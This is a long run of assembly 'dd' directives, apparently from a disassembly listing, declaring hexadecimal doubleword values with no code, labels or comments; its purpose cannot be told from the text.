		dd 243DB663h, 2EEC092Ah, 116DC9FDh, 0C0571936h,	2A039C50h
		dd 79E87F15h, 0FAE38FFBh, 0AE718533h, 220B25D5h, 964F122h
		dd 49E00691h, 1B88F9EEh, 0DC6E5CBAh, 0E8CAA891h, 876E3A17h
		dd 5952F505h, 0B513C586h, 9D52F7DBh, 4B92E11Ch,	94CE2F78h
		dd 0A39F84D6h, 0A96364DAh, 0B6268F4Fh, 0ED2751D6h, 4A8020F3h
		dd 2DA37638h, 0F87C1BB7h, 0CD231EDDh, 0E0536CF0h, 0C058F806h
		dd 9B90BA5Fh, 0B17EEFFEh, 84A016Ch, 0F328DC93h,	78B46226h
		dd 61C987A6h, 0FAC31AA2h, 602CBA1Ch, 3985DF81h,	95EC8480h
		dd 86DE446Ah, 372662B5h, 0B5ECB0D3h, 0D18CC59Dh, 703991Eh
		dd 811F3374h, 70C79739h, 0E1FBA30h, 1F6CFC5Ch, 0F14250D9h
		dd 5F48DC2Ah, 253AD635h, 4967E35Eh, 80EBEA2Bh, 14BF5892h
		dd 0D86ED9F8h, 3037A7FEh, 0DC026C4h, 0B50F7EA8h, 91FD34B8h
		dd 54AF3B92h, 0A84D3C8h, 0EAF4DCDEh, 78A9C5F2h,	0BFC1ABCCh
		dd 7FFAEC6Eh, 22D45FA6h, 0BDDEE7D1h, 0D0E4AAA9h, 0B8E9CAC4h
		dd 9B581DAEh, 0BA1A39A4h, 0C62B8100h, 0DB25357Ch, 0A4C0E985h
		dd 20B86A3h, 0C37DD9C9h, 6BF83571h, 1FDBD8C3h, 0C2E36A28h
		dd 6758BA7Fh, 443B773Bh, 0FA6E7A92h, 7E4B3619h,	540144Bh
		dd 74947616h, 0AB573022h, 0BFF0B938h, 23065729h, 0C23287F2h
		dd 97B0E164h, 9ED6DBD5h, 60941A1Bh, 245404AAh, 616CC106h
		dd 0F716B5DFh, 0D3479EF4h, 6F2C266Fh, 0E939D5CCh, 0B25E2AF4h
		dd 0DB24084Dh, 947D6C41h, 8AA63A1Ch, 0E0D29F1Ah, 0C065E33Fh
		dd 3FFE2D86h, 6BC4EDDCh, 6DE9ED27h, 0A1193D3Eh,	0F251A368h
		dd 0D12A811Dh, 0CE4AA3Eh, 0EED3CA84h, 0ABDBD010h, 954D55C6h
		dd 36C337B5h, 0B52966C3h, 991EB9D2h, 5E12DBBEh,	0F85A7FC5h
		dd 0C3D00E14h, 70BB3B5Bh, 84D9385Eh, 1471D8D0h,	0D825AEDEh
		dd 2B80A8FBh, 0F1237703h, 8465861Fh, 8A39C30Ch,	322818A9h
		dd 0F8017E92h, 73F8A531h, 4F654112h, 0C4091C87h, 55347808h
		dd 250FAFBFh, 0CAA1D978h, 3694A418h, 271A926Bh,	2006DB07h
		dd 663EEA4Ch, 5D96889Ah, 0CF1A759Dh, 6412A9A2h,	3A0CC63Fh
		dd 32C4313Ah, 1CC8CA63h, 0DBAE5325h, 651DC0A8h,	0FBD6209Dh
		dd 0F1EE4B0Dh, 15F3B139h, 0F62BA18Bh, 0B6CB8B21h, 9C0D7E79h
		dd 0F70A7F03h, 0F8BF03A9h, 0DB73D69Ch, 0AC5994DCh, 0E3646194h
		dd 0A9D0323Fh, 0FA90A26Ah, 0BBD22396h, 0A071FBE8h, 3A03CEBDh
		dd 0D2AB8E57h, 0FAB677DAh, 324275EFh, 0F005A63Fh, 692796B5h
		dd 0FF96DA39h, 0E3E7DFD9h, 0B3212A7h, 0AFFF9B7Bh, 55307583h
		dd 40CA43CAh, 347E1E0Bh, 57D17F0Eh, 5DB2F40Bh, 64493BFh
		dd 68958ABCh, 0CD905540h, 6EF9F203h, 0A652AABEh, 0A9FA6BD2h
		dd 0E720F793h, 0DB44AAECh, 0E06CA87Ah, 816E1E6Ah, 1F3FD357h
		dd 8194D8D2h, 7CD0668Ch, 2D7B11C7h, 0BD5A4414h,	6EFBCFEEh
		dd 56336F9Ch, 0DB21A726h, 2E74D89Ch, 0A6F6A29Ah, 5B97E295h
		dd 0DF2126BFh, 66558D43h, 8F57A058h, 0E99EF288h, 3B76B66Ch
		dd 0E7BB9342h, 0CD6193CCh, 36548B84h, 28C3CAFFh, 0A4BF1992h
		dd 0FB66E242h, 5F97C12h, 405BBC25h, 80AAC478h, 9A9254C6h
		dd 0B139A91h, 0F8DB55F2h, 59669138h, 0D82A0AB8h, 8DF9B93Fh
		dd 0C04373FEh, 9F31930Bh, 0B3CED0E6h, 0CE7F4601h, 0E86186B4h
		dd 0D1A84F8Dh, 7D644365h, 13B3D0CDh, 861527C4h,	0C4D65925h
		dd 8A8D16D0h, 1BFB523Ah, 80742BD0h, 0E052D895h,	0ACBF5292h
		dd 7D995AD3h, 0B8BF61FBh, 0E5288087h, 5C90FCF2h, 0C35E1571h
		dd 5C91DBB1h, 0AA1646B2h, 86E3EECh, 9F07A5Dh, 4B0053CAh
		dd 0A504300Eh, 0B0CF46C4h, 592ED160h, 767A6637h, 0CC56E161h
		dd 57A937A7h, 0D3C681E9h, 0DE8BF259h, 8C3D6CFCh, 25DF2753h
		dd 0C8800C6Ah, 69749840h, 655951D3h, 0B70C9711h, 0ECE38FE1h
		dd 6A94F9A9h, 0DCC1637Eh, 56E4663Eh, 0A3642608h, 94E4A126h
		dd 0EF2C779h, 345C4BBBh, 218EC0FAh, 0C1BDCEEEh,	34A22A43h
		dd 1763DE4Dh, 8914BBCEh, 219CD309h, 9AF7A17Bh, 51BA71C6h
		dd 0E4F1790Ah, 6C22063Fh, 4C799FE1h, 0A2687005h, 0A92D493Ah
		dd 0B80A208Ch, 0AF3B4CB3h
		dd 0E314BB2Fh, 62021AADh, 82B5D590h, 8BC5F98Dh,	1D35DC39h
		dd 9D870287h, 0C3679BAh, 0E550D8Ah, 83A63668h, 6223C855h
		dd 2E4E07E1h, 0B93B3003h, 0B54C7F5Ah, 6D740C48h, 46D5DE43h
		dd 9D8C143Eh, 0D2C9E7E7h, 41AA2788h, 9B8F610Ah,	36024D3Ch
		dd 18489177h, 7CCD6C77h, 0FA0E7201h, 80F59FCBh,	0F71F0CD1h
		dd 73FFB744h, 193573D7h, 8764DDF2h, 0D5C9A84Fh,	5AB76CF1h
		dd 8E5FA7DFh, 0D7C5EA57h, 0B2861DCBh, 0E2D81502h, 50C3A934h
		dd 0DE0E723Ah, 1F112E8Ah, 13BD8475h, 288F8D15h,	0E3036C2Ah
		dd 0FF131D72h, 10055272h, 3069603h, 0A4AD957Ah,	7FA37C1Fh
		dd 0CEF54156h, 0B2E902C4h, 4ED2AE14h, 3DD88A06h, 4C407CCBh
		dd 0DB06D614h, 0ACA45734h, 70310DCh, 2847DD1Ch,	0B0AE6AEFh
		dd 0E44A5BE0h, 16DA788Dh, 0CBCA8411h, 0BEFF9714h, 80B4C8A0h
		dd 0C5C1C6C1h, 0E07FE492h, 0B62F41C5h, 2AA83BADh, 86CB2DD5h
		dd 165EB7E3h, 6136085Ch, 500B46C1h, 0FBA98FDDh,	78029D2Dh
		dd 0F4664308h, 2F774FBDh, 460507B1h, 7F51F9B4h,	0E4130E40h
		dd 2805972Fh, 19346526h, 807215B3h, 0F757AA35h,	6F9F2A98h
		dd 0A97C5B3Ch, 9A65428Eh, 0FB1C62B0h, 0D45FFFCDh, 31348EF3h
		dd 2B9FE073h, 5241E1CDh, 9473032Fh, 3C08E8D2h, 9821F31Bh
		dd 923E25BCh, 23F5AEF7h, 0ACD10DDCh, 1C4B5EAFh,	0E69AEFA0h
		dd 68F74673h, 4E663218h, 777365B1h, 7EA55A5Eh, 0E2BAADFCh
		dd 8E14F86Ah, 6D1C644h,	5D21FD02h, 7BBE32F4h, 69A350FBh
		dd 0C32D0816h, 0E0652BE1h, 650990E3h, 588B4331h, 17C58F86h
		dd 2D17E30Dh, 2EBAA287h, 0ACC4DB93h, 5607E18Bh,	0B0E1DCA6h
		dd 0F119A049h, 54E6975h, 0EEE34201h, 3F44FE7Eh,	6E55AEB8h
		dd 303CF35Ah, 3A111B51h, 85A8F64Ch, 6F996CA0h, 0F997AE21h
		dd 70006077h, 581139DDh, 78D96508h, 9FF00DBCh, 16537922h
		dd 43985BDBh, 0EB0B3979h, 1630A148h, 2B8CA599h,	6A086A88h
		dd 75727687h, 0D7E63Eh,	404199DAh, 2EC8D6C3h, 0BC8C62F0h
		dd 0DA0F083Ah, 0B7149828h, 49CD85F1h, 9D48414Bh, 3EA7A6C0h
		dd 66275D56h, 631415A9h, 0CEFA8A67h, 0F0468C9Ch, 0E0A3CC90h
		dd 425E18D3h, 684B4F2Fh, 89866B70h, 64D37FEBh, 4626F54Dh
		dd 2D8BC7C6h, 70E0CA2Ch, 88B595E5h, 564787AEh, 6771D989h
		dd 0CA654410h, 75064DC6h, 24C9178Eh, 0FD9C11E1h, 17B44EBh
		dd 254E8C15h, 97D9EFA5h, 8373A914h, 0D233C48Ch,	8508B8ADh
		dd 684C1A24h, 30DF04B3h, 73B5F99Ch, 4FB8FD80h, 4D5EEC4Bh
		dd 91EA7E38h, 9618C1C6h, 0A51EAD0Dh, 0E65ACFD2h, 6740D3ADh
		dd 0DC2BA9Bh, 5062B315h, 0DF2696E7h, 738674EAh,	1DA2518Dh
		dd 0A8F0444Dh, 0E0CC5E38h, 0E593124Fh, 723D1310h, 0E717FD3Dh
		dd 80462BF4h, 8072F208h, 0F8B83317h, 0C5A101E3h, 3B8722ADh
		dd 0B2B2D445h, 6E93B5A1h, 0FC0FA6FFh, 542A4209h, 0B00E9366h
		dd 25D11BBAh, 0C5486577h, 87171157h, 0C3D8F133h, 81739949h
		dd 0E7370CCFh, 8A67BC98h, 9EAEB97Ah, 13E1DCE0h,	0E858BB53h
		dd 5A069129h, 85D6D1D9h, 0B4748FBCh, 25561CA2h,	0F341E7ADh
		dd 0FF39906Ah, 0E725C936h, 598223E5h, 25F8EEE8h, 74D7F4FEh
		dd 9D9CBF9Dh, 62231268h, 97706972h, 0CFD224B4h,	0B070F9D2h
		dd 0C1A966A5h, 0C1610E8Ch, 3089E70h, 921217A9h,	0B35DCFBDh
		dd 0F491AE3Bh, 22D6D311h, 3203114Dh, 0C55614CCh, 3F33C783h
		dd 3D3C1B29h, 0E0AB236h, 183D45C2h, 5E19AB3Ch, 0F93A43FCh
		dd 5DC63639h, 0F553348Ch, 559B243h, 0E59F238Fh,	0A0440687h
		dd 9BDABBD1h, 0B1FA9945h, 0C86373F3h, 0B5BAF908h, 0D8387AB4h
		dd 97D1BF13h, 849E9BFDh, 1F3FA637h, 26DFC63Fh, 0DD3C7725h
		dd 0A27F2E61h, 1E88A201h, 0A513BDABh, 0BA1663E9h, 6C738581h
		dd 48E6A34Dh, 0F6E42DAh, 0F689DCB5h, 1259E996h,	6454AB0Dh
		dd 56D08F4Ah, 0EDF53E4Eh, 161F81D3h, 4195BA14h,	0DCFD0F87h
		dd 631EE578h, 0D84E05F4h, 0D93868ADh, 0B5C432FDh, 85617FD4h
		dd 9AB150BEh, 285697B5h, 0F6FBA338h, 0C0EF1E65h, 9CFB07EBh
		dd 1DBD7BD4h, 0C313AABEh, 0A4B2ED51h, 0F8343971h, 7E8C4CE9h
		dd 0CD9D3AAFh, 36078E57h, 0B47DEF11h, 9C09BB53h, 1FBB2386h
		dd 345BBEB5h, 0E340EFC3h, 9D62A05Ch, 0D42537D8h, 824F6869h
		dd 0B1D98D18h, 94D8F74Dh, 4B8DCC54h, 6E8596CEh,	0EE54291Ah
		dd 8F67DBFFh, 403FCC3Eh, 0AD0A0C9h, 98020E51h, 9083ADB8h
		dd 8E47012Bh, 0BFE7CC9Bh, 0D63417A8h, 5DA253CEh, 7E04E5Ah
		dd 966D8377h, 3FCB231h,	5F1EAB0Eh, 750A4F5Bh, 0B00559FAh
		dd 0E4C67181h, 8E4C843Bh, 3ACF6332h, 0F48074CFh, 7323DEEFh
		dd 0BB3C5E85h, 0A33DF3DBh, 0C812E29Fh, 0AA6AFC83h, 0D4E4461h
		dd 552EABFCh, 15565680h, 73C6784h, 2B721CC2h, 8E8DE84Bh
		dd 83511438h, 0BE63AADFh, 4CB55589h, 6AFDC52Fh,	0C89F9BA6h
		dd 638C6FD3h, 136A8DC4h, 907D90A9h, 2BEA5C16h, 36057245h
		dd 1877822Ah, 1F5E71F7h, 0C74BBB40h, 84E85B76h,	995F3CFAh
		dd 0B28A4894h, 0F619C4B6h, 0E1756422h, 739AA4D0h, 63A47536h
		dd 25BC5E94h, 0CDDEABB8h, 112AD182h, 151E97A7h,	0C3A548EBh
		dd 0A65FEA5Dh, 0A98D19ACh, 0E7FC8C0Bh, 0D81E2E8Dh, 4800E218h
		dd 8DDAAB4Dh, 5C4E6EB8h, 0F78C95C9h, 69C91A22h,	33514C96h
		dd 9AA6712Eh, 25B607C2h, 0D1D5DE06h, 7C2D3F47h,	81167E62h
		dd 0D862223Ah, 0B7C2846Ah, 4F4972A4h, 4A175E60h, 0D9B81827h
		dd 0CDE9A9A0h, 0D4376B64h, 0DE7668FCh, 0E8D9BC20h, 71E90EF8h
		dd 6E132DC3h, 964B976Bh, 1DD9BEE0h, 6F4A999Bh, 0BB547514h
		dd 906FA75Dh, 0E57A1B1Dh, 0AF85845Eh, 0A44EFA12h, 3A9D914Fh
		dd 0C0FD442Ah, 0BF57186Ah, 0C5C951FCh, 0A30E8847h, 0CC4B8333h
		dd 8B0E2012h, 667B2D68h, 0FA158B4Ch, 0B12BD6EAh, 2EA7269Bh
		dd 56543CF8h, 2938053Eh, 7F8F3DE5h, 3EADE59Eh, 925B7B19h
		dd 0E725E30Ch, 4ADF410Ch, 2667AB14h, 32B9B3D8h,	7DF4BC02h
		dd 0BB53647Ch, 0C9204A0h, 0DD1A5752h, 0C7740326h, 0F1B583C6h
		dd 0CE8E0E42h, 0E91BD7EAh, 3005DF97h, 154BEE31h, 92B9AB07h
		dd 5EE0D215h, 7757AFB1h, 89889F61h, 42176C9Ah, 28C14DB5h
		dd 9255D909h, 9FF866E2h, 70DEC54Bh, 0D188E900h,	2295F1CDh
		dd 0CA9D2831h, 0C3D7609Fh, 0C593547h, 0B7405C8Dh, 5C515699h
		dd 0F6C0ACE0h, 0B72458F0h, 5764CCB1h, 0DCF446BDh, 6F102EF1h
		dd 0D8910F58h, 4E7F9B33h, 0C36815C6h, 0FDDDDC1Ah, 89EA3532h
		dd 0A2AF57B6h, 1547EC64h, 15BBD27Ah, 5D43F135h,	0CDBD0DE8h
		dd 0D45390E0h, 0CE5C921Dh, 612EC0D1h, 78420F4Bh, 8E332D3h
		dd 5323D12Ch, 0F0EAEB62h, 1246E3B1h, 0CF18994Dh, 0AD6984CAh
		dd 603F0A80h, 231444C1h, 674002EFh, 0A104E41Ah,	0DF9AB5E4h
		dd 1AC7B21Bh, 0E2253887h, 0E53D5661h, 465263Eh,	2B19EADDh
		dd 0F4FD0C52h, 9741A1D1h, 0C5196258h, 4BDC74A4h, 0DB4D2BEh
		dd 427CA91Ch, 0E4914EA6h, 903724DBh, 1545F093h,	0DED72DE6h
		dd 6983BBB0h, 0A01E8AC4h, 0B05D1B4Eh, 8C8BC61Ah, 0F0B0C592h
		dd 924EE0BCh, 0F67DD466h, 99E638C3h, 0CAEBA288h, 0B5C4E54Eh
		dd 3722B4CCh, 0C917F241h, 711B4498h, 28195704h,	0E8ECE001h
		dd 93D5C67Ah, 8354048Bh, 0B648FF0Ch, 3EE134E7h,	0B6ED3D2Ch
		dd 3FBE91C6h, 0AB2A3E3h, 4BB34600h, 0FC839882h,	5B53AE04h
		dd 516C1B1Ch, 2FF22E3Ch, 47AFDBD3h, 1EBED7E8h, 0D304AAAh
		dd 0DA473FC3h, 368A99A3h
		dd 0F85A3F80h, 0EA0ED0C5h, 0F51F2496h, 0B0E8D613h, 239922A2h
		dd 0CB7FDD1Ah, 1B4194A4h, 798C150Dh, 66660EB1h,	0B818A204h
		dd 0E6ADF86h, 828D2F8Dh, 0A4641858h, 49E6973h, 0D0AB3F81h
		dd 0D0E7FF8Ah, 84DDE1ACh, 0AE061D46h, 0DD300B53h, 1B0A0EEBh
		dd 43F472D8h, 713425Fh,	26E1C3BAh, 38E49286h, 2503866Dh
		dd 0DBE49394h, 63D78832h, 0A071F2E5h, 180211CDh, 2416650Dh
		dd 6359B8C6h, 1276C93Eh, 0B586C0CCh, 7B00E589h,	2CFA1020h
		dd 7B3468C4h, 875C80A7h, 9EE1D83h, 0E1CA5979h, 51C595E1h
		dd 284B38A1h, 43BCA6DCh, 3B7CA33Dh, 0ABCC909Ah,	0A4D834B2h
		dd 0B332D261h, 0CCC78CB0h, 3A72D6CCh, 6720B0ECh, 0FE88DBF0h
		dd 555E5FB8h, 0F1052EF6h, 0F2D2F804h, 6A9AC663h, 6B5B12D9h
		dd 1EA2CE7Dh, 68C0F76Fh, 948FF5B3h, 93557508h, 397DAE7Dh
		dd 0A0A6D761h, 0A7BC98CCh, 0D35AFF23h, 58DC0E89h, 7CEF5F68h
		dd 0A1C166EDh, 868DDEC6h, 0C27309A7h, 6F4D3E14h, 7C07FAFDh
		dd 0EA8B897Bh, 664A89F5h, 0CF17ADFBh, 394EAD43h, 2A80A5BDh
		dd 5D84803Ch, 7D92CD81h, 9FDEA513h, 0A2FEB5BAh,	0C96D5FD4h
		dd 25DC11B6h, 7B7B1641h, 0E33D3D3Fh, 47B3A6D3h,	0B9A71E43h
		dd 1DCA51DFh, 0C165E36Eh, 0B6EFAC09h, 0EB5B221Eh, 0E64A476h
		dd 0DC840FB7h, 347E02B6h, 0F3650FCFh, 1D162A34h, 0CB246E47h
		dd 9685E912h, 39188601h, 74EBA5F6h, 742D83E5h, 9350F341h
		dd 4DCCD72Ah, 0AB181847h, 1A6ABF36h, 0AA7520A1h, 0AA943DEBh
		dd 86463839h, 0F31A0900h, 0DB53821Dh, 49AD2813h, 0A6C43D45h
		dd 5BC4F0Eh, 103B7452h,	631B79A7h, 48637684h, 0EBDE5055h
		dd 6B5A7CF3h, 0D77208D9h, 4362E757h, 2E4E3F1Eh,	380D6B2h
		dd 4FE36757h, 6F680BD9h, 0B51FD8C7h, 0CA89B3F1h, 65C3B850h
		dd 0EEE368FEh, 0ED37088Eh, 6C02A967h, 5C450C99h, 38706498h
		dd 0C5FAE3F5h, 61ABE716h, 2306FEFBh, 0C9066816h, 0C1882CAFh
		dd 5772269Ah, 4DAD28BFh, 7D3D5176h, 0E47482BAh,	0F31DB796h
		dd 44345D60h, 610D7C2Fh, 19C746Fh, 6967AEAFh, 3384C782h
		dd 3B7C6D8Eh, 0DC9461C6h, 0E27B67C2h, 17AFE1B9h, 0CAB687E9h
		dd 46E6FB90h, 13201D68h, 1B4E08CCh, 8109A990h, 0B710DA79h
		dd 0DD993FC7h, 1674A94Eh, 14DE3CEFh, 424291B6h,	7099C662h
		dd 0CC9E445Ah, 7DC423B7h, 6D85E8Eh, 0B27A2B82h,	12A81E57h
		dd 9C8FE18Fh, 0FDE505E8h, 44AE858Ch, 0F7F277E8h, 8509AA66h
		dd 0E4AD18ABh, 0D688EE25h, 0E9AFF64Eh, 72BBE1A5h, 9B7E1492h
		dd 0ADB77FBFh, 0CA0EBD6Dh, 76AD8A89h, 4C65322Bh, 1A18BB99h
		dd 3D03F808h, 0FB743CD0h, 0A73B562Ah, 4741B764h, 0A9340D0Eh
		dd 0B91656A1h, 6D93AD33h, 0D91FD7BEh, 63891DE5h, 2D97B9Ah
		dd 4FF7A05Ch, 488A6D8Eh, 99DF218Fh, 7F235639h, 6145050Bh
		dd 3987C02Eh, 0C57C8D0Bh, 1D82AB7Eh, 9B7B1440h,	7C8310Dh
		dd 0ED739193h, 0ACDA8DD8h, 0C476C59h, 3AECE579h, 5B8D2500h
		dd 0CF196C42h, 0C41D0723h, 0EB14B1DBh, 757A81BFh, 336A649Ah
		dd 0AC65EE37h, 0D74345BCh, 5182CB6Fh, 6786EAF0h, 0C5B4C86Dh
		dd 7915EFFBh, 0D5ABC1CEh, 0D21E69FDh, 0EE3CE09Ah, 1BA5CD04h
		dd 0E47C9B01h, 8FDA566Bh, 42B386F8h, 0C34DFFCEh, 5A16FCECh
		dd 6B42CB1Bh, 5E6E5CB5h, 0C5F42A60h, 5080A33Bh,	7C300350h
		dd 486C2678h, 6479CA35h, 101C290Eh, 0A9A0F68Ah,	0B67B1258h
		dd 1D861DF9h, 0C6A7A8FCh, 0ACD6F7ABh, 0A802D1C1h, 8606196Fh
		dd 1E07BAAAh, 0A084746Eh, 0B54FA50Dh, 0B560298Ah, 6934F87Bh
		dd 75D860D6h, 56223B17h, 711B078Fh, 87C93E18h, 0CA6A5596h
		dd 0B93B03F6h, 97A8EB34h, 0A75271A7h, 62452F44h, 0D2B7C4FBh
		dd 70D9E7BEh, 0D826944h, 88227C13h, 0A225D99Ah,	0A4576EA3h
		dd 33971779h, 0A8417943h, 0FEEF7B91h, 947AEB3Fh, 0F1E31271h
		dd 97B48485h, 6C4FCC83h, 6DDE7A8h, 0B246A95h, 0FA5F0863h
		dd 0C70A9598h, 27379692h, 0ACD520B5h, 8C04AD0Fh, 8EA4474h
		dd 0F8D9EF8Ch, 0D648CEF2h, 9062F7D0h, 5E53324Ah, 392CCA5Ah
		dd 61F15B54h, 6F0A68E2h, 25C9D243h, 59FC4144h, 0FC29F849h
		dd 0F036504Eh, 0FF92E89Fh, 52009431h, 337D937Eh, 4DC9252Fh
		dd 761270ADh, 0B81B8219h, 0DFAC00BEh, 521510BAh, 41DD1D36h
		dd 0A3740065h, 14897798h, 0FA5F18E8h, 0AF61EF88h, 7A3B2B02h
		dd 658B9026h, 26E9A234h, 9C151DF6h, 421F92B2h, 43BF4BCFh
		dd 7E30D15h, 44D15E39h,	4E30D3ABh, 0BDCD82C5h, 619A9CD6h
		dd 5559C84Dh, 17A23D08h, 0E53FE13Ch, 14C92C36h,	2D70A64Ah
		dd 0FE974519h, 120098BEh, 123ED177h, 931653FAh,	408B4304h
		dd 2E3D0C5Eh, 71A8617Ah, 0ED022F9h, 253A08F7h, 0C332887h
		dd 0D6D56142h, 58DAA1CFh, 0F2DD3A5Eh, 0FE979EC0h, 0F6E0601Ch
		dd 0DB00405Dh, 3A14CC18h, 75A1F8CFh, 849E0079h,	60048F77h
		dd 89887515h, 0B0D4C14Eh, 244FAA86h, 0A5BA3737h, 0BE442128h
		dd 0DF4FC3D5h, 0CF981B77h, 60EF9519h, 408D2575h, 9E31FABFh
		dd 0E9AC5692h, 6B9CE5D8h, 0D4664358h, 1936B554h, 943BE889h
		dd 0A2671293h, 1C7AE004h, 6E59599Dh, 0BB9111C7h, 88173850h
		dd 44AA1951h, 8E19E12Dh, 0CB402888h, 9E0E41C3h,	1E8E8C48h
		dd 0D79A1E37h, 675029C7h, 7EE0DB69h, 6DA30A8Ch,	71BB1053h
		dd 0A628331Eh, 10DD9619h, 6E04257Dh, 34C530B2h,	27B8502Eh
		dd 6DE06E17h, 107F84A2h, 4447D375h, 0C5AAF3EBh,	0C7076D7Bh
		dd 0EEBE041Eh, 8CDF7B7Eh, 99FE5E7Eh, 1C7C573Bh,	5BB1BED0h
		dd 313618EFh, 5CD2195Bh, 17123DF4h, 41BB6555h, 0DB208926h
		dd 389FBC93h, 0AC7FC9B2h, 612AEEE0h, 0DA38954Ah, 0B50A9271h
		dd 0E787B9AFh, 59380B5Bh, 0ECF04BAEh, 121FA699h, 0CB19E51Ch
		dd 14BF9836h, 0E75BEE36h, 0AAA32ECBh, 0F74B1BFAh, 0F4573275h
		dd 0ABEADFF8h, 0F2E4A375h, 62921131h, 3CD3881Fh, 0C4BE5CA3h
		dd 0BBB9F229h, 92660902h, 0DC9DCA06h, 87F8CD22h, 70BF8961h
		dd 0C0107B9Bh, 5CF606CFh, 7972FC75h, 0DEE7F160h, 660C6121h
		dd 7EC2470Ch, 3DB2C215h, 2A46A43Dh, 0FE365F71h,	8503A108h
		dd 0CA5ABC03h, 0D4C5EEF0h, 0C9F2B2A8h, 0B28F1D35h, 27A8CA26h
		dd 0FBB1ACBBh, 401AEC83h, 57824E3Dh, 823666CAh,	67FAC1B1h
		dd 3BBFF53Dh, 8F6DD490h, 906FB756h, 83D20B6h, 4055B919h
		dd 63FE0EEh, 5E09A02Ah,	0C4A1FBF1h, 3AEAAFEDh, 74A4C9E7h
		dd 0D7AC1A69h, 0CB3373BCh, 39696B33h, 852A708Bh, 0BB131140h
		dd 0ABCDB55Dh, 94CBAC70h, 0C6DB068Eh, 0FAEC0D48h, 19533030h
		dd 0BF3AE3B3h, 9074004h, 32D4EEB3h, 931518D0h, 0B40F594Eh
		dd 40542FBDh, 0D48DC6C8h, 175AE742h, 0D03C23A3h, 0DA42F507h
		dd 560A942Ah, 229CBE7Ch, 19084C30h, 1CDB14EDh, 324B80DBh
		dd 0B7780909h, 98A8454Bh, 0B4799F99h, 3581B643h, 0EF69DE48h
		dd 428F9937h, 5FDEB307h, 0E6EC49A0h, 0BA2D5E11h, 43677E36h
		dd 0A79B5318h, 8ABF26C5h, 0A8E165AAh, 2B5934ADh, 4C83A504h
		dd 307ED106h, 4FF83945h, 776013C3h, 0A74083D1h,	874A5961h
		dd 0BC8CFF30h, 0A9E7D357h, 380AD677h, 0C60D4333h, 121CB4E7h
		dd 8B9FCE5Bh, 68803AD1h, 6D48DC3Dh, 0C21E7FA5h,	0BA06B042h
		dd 9567AAA1h, 0A00329B8h, 69C9E4A2h, 0D766A695h, 354EE0B1h
		dd 535036C1h, 94CF6457h, 3D39ADF0h, 0E5DE5C83h,	0DF752330h
		dd 8B19BE35h, 4E37DE28h, 0F555E05Ah, 0F08FB614h, 87A8E116h
		dd 152EF917h, 405027E4h
		dd 394934DEh, 0E8B8FE17h, 7C67D5B8h, 2B0C494h, 1C5E6DEFh
		dd 16B7FA45h, 0D407591Eh, 0B7F98468h, 0E32D1572h, 0E5DCFFAFh
		dd 799F155Ch, 0B1501CBDh, 0C812D908h, 0FE1F3041h, 81286376h
		dd 0A828ADA1h, 4FE29019h, 0D2E5489Dh, 0C186269Ah, 56AACFEEh
		dd 0E5B0EC8Dh, 71C26C6Eh, 98682C8Fh, 7A6B92ECh,	6AD6480Dh
		dd 21FC7638h, 8FC332F7h, 0A66B245Ah, 0BD450ADDh, 7DA861B2h
		dd 47E94728h, 0C1397633h, 18382DD9h, 39D42A98h,	0E92F30B6h
		dd 0A44E97DAh, 9D6B07C1h, 864CC6C3h, 0FBD70B9Dh, 0C8D64F96h
		dd 0B74D7CC0h, 3A586E1Fh, 98C5119Bh, 69E77177h,	640F5360h
		dd 310E7354h, 53A3E941h, 88F9E41h, 6D2AB7F2h, 0DC9BBD8Eh
		dd 143ECB28h, 5C61B3D0h, 49401ABCh, 43CFD57Eh, 7F24BEDh
		dd 71C31DFFh, 12B4B261h, 6D1F8ACBh, 629487D8h, 464233D9h
		dd 51C252C9h, 42917BF6h, 2DE9776Ah, 928EDDC5h, 72C63C33h
		dd 153199B5h, 214E2BC5h, 323C9061h, 0FD923B72h,	6DBFCF08h
		dd 3ADBF493h, 0E4D7C647h, 7705A45Eh, 4C8A2F6Ah,	0C169BB11h
		dd 80114816h, 1F2B09A2h, 0EE8CD863h, 0D32BB765h, 0C82CFA6h
		dd 0CC291E1Fh, 9BD4CB83h, 0DF8DDAD2h, 1EE81A8Ch, 0C821DD0Ah
		dd 0E26FA598h, 13015362h, 8D8199Ch, 0BB7E0A80h,	0F825B164h
		dd 50C332E4h, 732A304Eh, 2F15024Dh, 0F61F8B27h,	98E3AD11h
		dd 8F7F4167h, 403F3F1h,	1B60D2FAh, 0DCF6FE5Ah, 0D1E9DE62h
		dd 331BEB09h, 0D9FA14C2h, 14713AA3h, 7398EE1Eh,	4991B80Ah
		dd 722811B5h, 0EBCA607h, 0D73FDDA8h, 3B192D18h,	5DEA4567h
		dd 2F71C52Bh, 14384492h, 0F1B9A89Ah, 25FE4056h,	0D644A3FFh
		dd 628A88C0h, 167E6B68h, 87D37AF0h, 0FA7F2F46h,	0EADA10FBh
		dd 342BA72Eh, 96ABC254h, 0A92F21D9h, 0EDFEF05Dh, 95EA351Dh
		dd 8F9962BFh, 7C043DBDh, 8E08FF6Ch, 0ECB1A866h,	63913F5Bh
		dd 4903A86Ch, 1EE26CC8h, 0D954FA1Ch, 0F51BA77h,	0DAD04899h
		dd 0BDEAB481h, 0CE690481h, 400E7390h, 9BEC2188h, 5C0AC27h
		dd 0AADE4968h, 0F9833CD6h, 417A88F4h, 6FEDB82Dh, 0DE46B16Fh
		dd 99FF8176h, 821A2589h, 0B80E8879h, 3E8EBFC3h,	0F7C6725Eh
		dd 214BDE83h, 985C6BC3h, 0D0B3FE69h, 167FA932h,	73FEFAB3h
		dd 7921E6C0h, 7C30259Dh, 7E795F45h, 1D717FC5h, 4D66CE7Eh
		dd 0BCAECE8Dh, 429398F7h, 22F1468Eh, 86F3F391h,	52377722h
		dd 3D47ED74h, 81B84206h, 0AAAD4EC3h, 2E661C40h,	3F8A4888h
		dd 0B46FCD8h, 59D66A7h,	0EEDF3A66h, 0EB1C7E17h,	983EE52Dh
		dd 1E69DD23h, 1150772Ah, 4FBB50CEh, 30161048h, 59D6279Ah
		dd 0E49EB401h, 9F77C0E2h, 0A880E928h, 323EBE4Ch, 194C23A9h
		dd 313CE557h, 0FA2E2D0h, 4C3E2DE3h, 84975431h, 15BC961Eh
		dd 0FA3A387Ch, 0CF68CBA3h, 0A7094A8Bh, 7687374Fh, 0D4AF931h
		dd 0E5038F5Fh, 0FF882760h, 836559B5h, 35DA0C8Ah, 0C7909B8Eh
		dd 0E8FBC80Dh, 5886C2Bh, 0DECE7289h, 997D1E32h,	0B708781Bh
		dd 3F9B383h, 0F0C6E126h, 0CA2D970h, 6239B196h, 0F5C5F5B6h
		dd 1DC0B1BBh, 99528739h, 8DAE6218h, 525071E0h, 83180A58h
